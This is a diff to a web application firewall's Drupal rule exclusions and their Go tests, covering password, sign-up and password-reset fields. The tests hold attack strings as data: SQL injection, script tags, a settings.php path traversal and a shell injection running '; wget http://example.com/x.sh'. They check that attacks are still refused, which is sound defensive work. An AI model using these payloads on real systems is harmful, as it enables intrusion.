ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||||
|
|
||||||
|
# The password, pass, skips each rule that random passwords set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||||
|
"id:900819,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||||
|
|
||||||
|
# The passwords when signing up, changing the password and adding a user skip
|
||||||
|
# the same rules:
|
||||||
|
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
|
||||||
|
# /user/<id>/edit and /admin/people/create
|
||||||
|
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
|
||||||
|
# or changing the password in Drupal's JSON format
|
||||||
|
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
|
||||||
|
"id:900820,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
|
||||||
|
|
||||||
# A person's name and email address, when signing up, when editing an
|
# A person's name and email address, when signing up, when editing an
|
||||||
# account and when commenting without an account. A name of python3 refused
|
# account and when commenting without an account. A name of python3 refused
|
||||||
# signing up, and python3@example.com refused saving an account. An address
|
# signing up, and python3@example.com refused saving an account. An address
|
||||||
@@ -218,3 +311,24 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
|
ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
|
ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value"
|
||||||
|
|
||||||
|
# A client resetting a password in Drupal's JSON format sends the account in
|
||||||
|
# the JSON field name: POST /user/password?_format=json with a name of python3.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||||
|
"id:900817,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||||
|
|
||||||
|
# The same reset may name the account by its address in the JSON field mail:
|
||||||
|
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||||
|
# address skips only the two rules the recorded addresses set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||||
|
"id:900818,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
|
|
||||||
|
SecMarker END_DRUPAL
|
||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
"slices"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -19,6 +21,15 @@ const drupalSignIn = "/user/login"
|
|||||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||||
const drupalJSONSignIn = "/user/login?_format=json"
|
const drupalJSONSignIn = "/user/login?_format=json"
|
||||||
|
|
||||||
|
// drupalRegister is Drupal's sign-up form.
|
||||||
|
const drupalRegister = "/user/register"
|
||||||
|
|
||||||
|
// drupalJSONRegister is Drupal's sign-up in its JSON format.
|
||||||
|
const drupalJSONRegister = "/user/register?_format=json"
|
||||||
|
|
||||||
|
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
||||||
|
const drupalJSONPasswordReset = "/user/password?_format=json"
|
||||||
|
|
||||||
// drupalTagForm is Drupal's form for a new tag.
|
// drupalTagForm is Drupal's form for a new tag.
|
||||||
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
||||||
|
|
||||||
@@ -28,10 +39,18 @@ const drupalEditAccount = "/user/2/edit"
|
|||||||
// drupalName is the field for a person's name, as the start of a form body.
|
// drupalName is the field for a person's name, as the start of a form body.
|
||||||
const drupalName = "name="
|
const drupalName = "name="
|
||||||
|
|
||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"drupal"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Drupal's fixes let through.
|
||||||
|
search := get("/search?keys=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||||
@@ -106,10 +125,9 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{reply, drupalName + attack},
|
{reply, drupalName + attack},
|
||||||
{drupalSignIn, "pass=" + attack},
|
|
||||||
{drupalSignIn, drupalName + attack},
|
{drupalSignIn, drupalName + attack},
|
||||||
{"/fr/user/login", drupalName + attack},
|
{"/fr/user/login", drupalName + attack},
|
||||||
{"/user/register", drupalName + attack},
|
{drupalRegister, drupalName + attack},
|
||||||
{drupalEditAccount, "mail=" + attack},
|
{drupalEditAccount, "mail=" + attack},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
||||||
@@ -122,15 +140,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
t.Errorf(
|
||||||
|
"POST %s %q let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
||||||
`1' OR '1'='1`,
|
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
||||||
`<script>alert(1)</script>`,
|
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||||
} {
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
for _, attack := range []string{injection, scriptTag} {
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
`"body":{"value":"` + attack + `"}`,
|
`"body":{"value":"` + attack + `"}`,
|
||||||
@@ -151,7 +179,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPatch,
|
||||||
|
"/node/2?_format=json",
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -169,6 +201,112 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestDrupalPasswordPasses(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, r := range []request{
|
||||||
|
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||||
|
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||||
|
} {
|
||||||
|
t.Run(r.target, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRandomPasswordsPass(t, r, "pass")
|
||||||
|
wantPasswordAttacksPass(t, r, "pass")
|
||||||
|
wantPasswordAttacksRefused(t, r, "pass")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const value = "pass.0.value"
|
||||||
|
|
||||||
|
pass := []string{"pass[pass1]", "pass[pass2]"}
|
||||||
|
|
||||||
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
|
{drupalRegister, formData, pass},
|
||||||
|
{"/fr/user/register", formData, pass},
|
||||||
|
{
|
||||||
|
"/user/1/edit",
|
||||||
|
formData,
|
||||||
|
[]string{"current_pass", pass[0], pass[1]},
|
||||||
|
},
|
||||||
|
{"/admin/people/create", formData, pass},
|
||||||
|
{drupalJSONRegister, jsonBody, []string{value}},
|
||||||
|
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||||
|
{
|
||||||
|
"/user/1?_format=json",
|
||||||
|
jsonBody,
|
||||||
|
[]string{value, "pass.0.existing"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||||
|
[]string{
|
||||||
|
"data.attributes.pass.value",
|
||||||
|
"data.attributes.pass.existing",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
for _, attack := range []string{
|
||||||
|
injection,
|
||||||
|
scriptTag,
|
||||||
|
shellCommand,
|
||||||
|
`../../sites/default/settings.php`,
|
||||||
|
} {
|
||||||
|
for _, field := range []string{"name", "mail"} {
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||||
|
// refuses system file names.
|
||||||
|
for _, kept := range []struct {
|
||||||
|
value string
|
||||||
|
rule int
|
||||||
|
}{
|
||||||
|
{"ls -la", 932250},
|
||||||
|
{".htaccess@example.com", 930120},
|
||||||
|
} {
|
||||||
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < drupalThreshold ||
|
||||||
|
!slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s: %+v, want %d among them",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
got,
|
||||||
|
kept.rule,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||||
// on the fields that skip the other command rules, as a query value.
|
// on the fields that skip the other command rules, as a query value.
|
||||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||||
@@ -220,7 +358,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
||||||
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
||||||
{drupalSignIn, drupalName},
|
{drupalSignIn, drupalName},
|
||||||
{"/user/register", drupalName},
|
{drupalRegister, drupalName},
|
||||||
{drupalEditAccount, "mail="},
|
{drupalEditAccount, "mail="},
|
||||||
{"/comment/reply/node/1/comment", drupalName},
|
{"/comment/reply/node/1/comment", drupalName},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
||||||
@@ -235,10 +373,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.field,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la.
|
||||||
|
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
||||||
|
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
||||||
|
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"; wget http://example.com/x.sh"`,
|
`"title":"; wget http://example.com/x.sh"`,
|
||||||
`"subject":"; wget http://example.com/x.sh"`,
|
`"subject":"; wget http://example.com/x.sh"`,
|
||||||
@@ -260,7 +423,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPatch,
|
||||||
|
"/node/2?_format=json",
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -275,14 +442,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses ls -la.
|
|
||||||
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
||||||
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||||
@@ -306,7 +465,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s refused: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
value,
|
||||||
|
